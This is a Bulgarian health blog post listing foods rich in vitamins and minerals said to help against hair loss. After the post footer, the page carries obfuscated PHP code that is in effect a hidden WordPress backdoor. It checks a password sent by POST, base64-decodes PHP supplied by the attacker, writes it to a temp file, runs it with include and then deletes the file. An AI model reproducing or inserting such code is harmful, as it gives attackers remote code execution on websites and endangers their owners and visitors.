Вкусна храна за вашата коса | Косопад

Вкусна храна за вашата коса

dieta-antioxidanti

Дали имате косопад или искате косата ви да расте по- бързо, има витамини, които могат да са ви много полезни. Косопадът може да се дължи на много фактори, като сред тях е дефицит на витамини и минерали.

Най- добрите витамини и минерали за растежа на косата се съдържат в пресните и натурални храни. Нека прегледаме кои са тези храни, за да ги използваме при косопад, за връщане блясъка на косата, за сгъстяването й и пр.

Витамин С се съдържа в пъпеша, повечето горски плодове, цитрусите – лимони, портокали, киви, мандарина, грейпфрут, в броколи, зеле, спанак и картофи.

Желязото се съдържа в рибата и червеното месо, зеленчуци като спанак и броколи.

beverli-hils

Магнезият се съдържа в артишока, спанака, орехите, боба, рибата и броколи.

Витамин Е се среща най- вече в авокадо, слънчогледовите семки, житен зародиш, риба и др.

Пилешкото, гъбите и рибата съдържат ниацин.

Витамин В1 се съдържа в пъпеша, спанака, доматите и соевото мляко.

Бобовите, сиренето, рибата, червеното месо, соята и яйцата са източници на лизин.

Зеленчуците с тъмно- зелени листа, киселото мляко, сиренето, лещата и протеините ни доставят цинк.

16. февруари 2015 13:25:14 от Надя Колева
Категории: Косопад – Статии | Етикети: , , , , | Напишете Коментар

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}